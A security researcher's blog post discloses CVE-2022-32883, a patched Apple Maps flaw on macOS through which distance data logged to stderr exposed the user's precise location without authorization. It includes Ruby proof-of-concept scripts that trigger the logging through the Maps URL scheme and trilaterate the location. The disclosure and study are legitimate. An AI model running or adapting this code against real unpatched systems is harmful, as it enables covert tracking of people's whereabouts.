Turning Your Computer Into a GPS Tracker With Apple Maps

Ron Masas
4 minute read

Timeline

One of the things Apple cares about in terms of its bug bounty program is your location data. Apple rightly categorizes real-time or historical precise location data as "sensitive data" which in some cases qualifies for a significant monetary award.

I decided to look into macOS applications that use the user location, and as you can probably tell by the title of this article, Apple Maps was my obvious choice.

I found and disclosed 2 vulnerabilities in Apple Maps that allowed me to extract the accurate location of the user without authorization. This post is going to cover the first vulnerability CVE-2022-32883.

Finding The Vulnerability

This vulnerability was indeed a low-hanging fruit. I was using the Console application on macOS to see log messages from the Maps process, and while I was clicking on different restaurants on the map I noticed the following log message:

Maps[13621:4749765] GEOQuickETAResponse: <GEOQuickETAResponse: 0x6000005a9e00> etas: ( "<GEOETAResultByType: 0x600000f27410> { distance = 3951; historicTravelTime = 1058; \"static_travel_time\" = 1000;

Apple Maps writes the data above to stderr every time a location is clicked. I also knew about the Maps URL Scheme, which was crucial for this attack. After a few minutes of trial and error, I found that by using the “q” parameter; I could remotely trigger this behavior while controlling the coordinates the distance value will be calculated from.

I started the Apple Maps process by opening the following URL

http://maps.apple.com/?q=<latitude>,<longitude>

Which caused the Maps app to open and automatically select the coordinates I supplied, triggering the calculation and subsequent log of the distance from that location.

Exploitation

For my exploit proof of concept, I made a script that first approximates the user location coordinates by IP and then reduces the distance iteratively by slightly changing those coordinates.

I’m sure there is a smarter, more efficient way to do that, but hey, it works, and that was good enough for the proof of concept.

I sent Apple two scripts, the first just demonstrates how the distance can be extracted from a given latitude and longitude, and the second is the full "trilateration" script that was able to extract the user's exact location in about 200 seconds.

Below is the main code for leaking the distance from an arbitrary coordinates. You can find the full proof of concept scripts on my GitHub repository.

#!/usr/bin/ruby

def search_in_maps(location, file_path)
    flags = HIDE_MAP ? '-j -g' : ''
    location = URI.escape location
    `open #{flags} --stderr #{file_path} -a maps \"http://maps.apple.com/?q=#{location}\"`
end

def extract_distance_data(file_path)
    distance = nil
    content = File.read(file_path)
    lines = content.split("\n")
    
    for line in lines
        if line.include? "FAILED_NO_RESULT"
            raise StandardError.new 'Maps could not resolve the provided coordinates.'
        end
        if line.include? "AUTOMOBILE"
            matches = line.match(/distance = (\d+);/i)
            if matches != nil
                distance = matches.captures[0].to_f
            end
        end
    end

    return distance
end

And here is a slim down version of my "trilateration" script.

#!/usr/bin/ruby

#...

def main
    wifi_warning
    start_at = Time.now.to_i
    
    begin
        # this uses ip to location database to find an approximate location
        approximate_location = approximate_location_by_ip
        
        best_coord = Coord.new approximate_location.latitude, approximate_location.longitude
        best_distance = get_distance_from best_coord.to_s

        # this is the distance we step in every direction, divided in half on every iteration.
        step = 0.1 + (best_distance/1000) / 4

        log "distance=#{best_distance/1000}km, coord=#{best_coord}, step=#{step}, accuracy_radius=#{approximate_location.accuracy_radius}km", YELLOW

        while true
            # finds if we should be scanning right or left
            lng_direction = lng_find_direction best_coord, 0.5

            # iteratively reduce distance and update "best_coord"
            for i in 1...5
                print "🛰️ "
                km = (step * i) * lng_direction
                new_coord = best_coord.lng_add_km km
                new_distance = distance_from new_coord
                if new_distance == nil
                    break
                end
                if new_distance < best_distance
                    best_distance = new_distance
                    best_coord = new_coord
                    log "\n📍 NEW BEST: distance=#{best_distance/1000}km, coord=#{best_coord.to_s}", GREEN
                    if step > best_distance/1000
                        break
                    end
                end
            end

            print " "

            # finds if we should be scanning top or bottom
            lat_direction = lat_find_direction best_coord, 0.5

            # iteratively reduce distance and update "best_coord"
            for i in 1...5
                print "🛰️ "
                km = (step * i) * lat_direction
                new_coord = best_coord.lat_add_km km
                new_distance = distance_from new_coord
                if new_distance == nil
                    break
                end
                if new_distance < best_distance
                    best_distance = new_distance
                    best_coord = new_coord
                    log "\n📍 NEW BEST: distance=#{best_distance/1000}km, coord=#{best_coord.to_s}", GREEN
                    if step > best_distance/1000
                        break
                    end
                end
            end

            # this is a small optimation to account for cases when we quickly find the location
            step = [step / 2, (best_distance/1000) / 4].min

            # we are only a few meters away, we can stop the script
            if step <= 0.02 || step > best_distance/1000
                log "\nDONE, distance=#{best_distance/1000}km, coord=#{best_coord.to_s}", GREEN
                break
            end

            log "\nnext step size=#{step}, time=#{(Time.now.to_i-start_at)} seconds", YELLOW
    end

    rescue StandardError => err
        log "ERROR: #{err}", RED
    end
end

#...

Conclusion

Analyzing the different outputs of sensitive applications can be incredibly helpful for finding vulnerabilities.

Please don't forget to update your devices running iOS and iPadOS to iOS 15.7/16 and iPadOS 15.7 and macOS Monterey to 12.6.

Timeline